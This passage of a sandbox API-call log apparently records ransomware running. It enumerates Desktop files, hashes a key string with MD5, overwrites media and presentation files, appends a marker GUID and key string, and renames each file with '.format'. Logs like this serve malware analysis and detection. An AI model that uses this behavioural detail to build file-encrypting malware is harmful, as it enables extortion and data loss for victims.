halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\1yz_dh-h0qvu25eq5ys.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.154] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=14791) returned 1 [0068.154] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.156] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x39a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.156] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.157] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x39c7, lpOverlapped=0x0) returned 1 [0068.157] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.157] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.157] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.158] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0068.159] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.159] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.159] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.159] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.159] GetLastError () returned 0x0 [0068.159] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.159] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0068.159] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.159] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x39c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.159] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.159] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.159] CloseHandle (hObject=0x5c8) returned 1 [0068.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\1yz_dH-h0QVU25Eq5YS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\1yz_dh-h0qvu25eq5ys.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\1yz_dH-h0QVU25Eq5YS.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\1yz_dh-h0qvu25eq5ys.mp4.format")) returned 1 [0068.161] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.161] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.162] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd704d90, ftCreationTime.dwHighDateTime=0x1d4c5a2, ftLastAccessTime.dwLowDateTime=0x42136db0, ftLastAccessTime.dwHighDateTime=0x1d4c5e1, ftLastWriteTime.dwLowDateTime=0x42136db0, ftLastWriteTime.dwHighDateTime=0x1d4c5e1, nFileSizeHigh=0x0, nFileSizeLow=0xd0ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2Z0X Os.mp4", cAlternateFileName="2Z0XOS~1.MP4")) returned 1 [0068.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.162] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.162] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.162] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\2Z0X Os.mp4") returned=".mp4" [0068.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\2Z0X Os.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\2z0x os.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.162] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=53419) returned 1 [0068.162] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.165] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd085, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.165] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.165] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.166] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.166] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.166] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd0ab, lpOverlapped=0x0) returned 1 [0068.166] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.166] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.166] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.166] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.166] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0068.167] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.167] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.167] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.167] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.167] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.167] GetLastError () returned 0x0 [0068.167] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.167] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0068.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.167] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0b0) returned 0x32b2f40 [0068.167] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.167] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xd0a6, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xd0a6, lpOverlapped=0x0) returned 1 [0068.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.168] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd0ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.168] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.168] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.168] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.168] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.168] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.168] CloseHandle (hObject=0x5c8) returned 1 [0068.169] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2990 [0068.169] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.169] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\2Z0X Os.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\2z0x os.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\2Z0X Os.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\2z0x os.mp4.format")) returned 1 [0068.173] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7722ed0, ftCreationTime.dwHighDateTime=0x1d4c7a2, ftLastAccessTime.dwLowDateTime=0x3d495490, ftLastAccessTime.dwHighDateTime=0x1d4ca99, ftLastWriteTime.dwLowDateTime=0x3d495490, ftLastWriteTime.dwHighDateTime=0x1d4ca99, nFileSizeHigh=0x0, nFileSizeLow=0xf365, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HzNuu.wav", cAlternateFileName="")) returned 1 [0068.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.173] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.173] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\HzNuu.wav") returned=".wav" [0068.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\HzNuu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\hznuu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.173] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=62309) returned 1 [0068.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.175] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf33f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.175] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.176] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.176] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xf365, lpOverlapped=0x0) returned 1 [0068.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.177] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.177] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0068.177] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.177] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.177] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.177] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.177] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.177] GetLastError () returned 0x0 [0068.178] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.178] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0068.178] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf365, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.178] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.178] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.178] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.178] CloseHandle (hObject=0x5c8) returned 1 [0068.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2990 [0068.179] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\HzNuu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\hznuu.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\K_xyj0OLm\\HzNuu.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\k_xyj0olm\\hznuu.wav.format")) returned 1 [0068.181] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7722ed0, ftCreationTime.dwHighDateTime=0x1d4c7a2, ftLastAccessTime.dwLowDateTime=0x3d495490, ftLastAccessTime.dwHighDateTime=0x1d4ca99, ftLastWriteTime.dwLowDateTime=0x3d495490, ftLastWriteTime.dwHighDateTime=0x1d4ca99, nFileSizeHigh=0x0, nFileSizeLow=0xf365, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HzNuu.wav", cAlternateFileName="")) returned 0 [0068.181] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.181] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.181] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.181] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\") returned="Q3tTjFbyLkyl\\" [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.181] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.181] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0068.181] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.181] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.181] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.181] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.181] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.182] PathFindFileNameW (pszPath="") returned="" [0068.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2990 [0068.182] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d4d40, ftCreationTime.dwHighDateTime=0x1d4c611, ftLastAccessTime.dwLowDateTime=0x69f1d560, ftLastAccessTime.dwHighDateTime=0x1d4c9bf, ftLastWriteTime.dwLowDateTime=0x69f1d560, ftLastWriteTime.dwHighDateTime=0x1d4c9bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2990 | out: hHeap=0x5d0000) returned 1 [0068.182] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d4d40, ftCreationTime.dwHighDateTime=0x1d4c611, ftLastAccessTime.dwLowDateTime=0x69f1d560, ftLastAccessTime.dwHighDateTime=0x1d4c9bf, ftLastWriteTime.dwLowDateTime=0x69f1d560, ftLastWriteTime.dwHighDateTime=0x1d4c9bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.182] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e08f680, ftCreationTime.dwHighDateTime=0x1d4cfad, ftLastAccessTime.dwLowDateTime=0x494bdad0, ftLastAccessTime.dwHighDateTime=0x1d4d4c9, ftLastWriteTime.dwLowDateTime=0x494bdad0, ftLastWriteTime.dwHighDateTime=0x1d4d4c9, nFileSizeHigh=0x0, nFileSizeLow=0xd851, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ch1D7KyT.ppt", cAlternateFileName="")) returned 1 [0068.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.182] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.182] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\ch1D7KyT.ppt") returned=".ppt" [0068.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\ch1D7KyT.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\ch1d7kyt.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.182] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=55377) returned 1 [0068.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.185] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd82b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.185] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.185] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.185] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.185] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.185] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd851, lpOverlapped=0x0) returned 1 [0068.186] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.186] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.186] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.186] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.186] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0068.187] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.187] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.187] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.187] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.187] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.187] GetLastError () returned 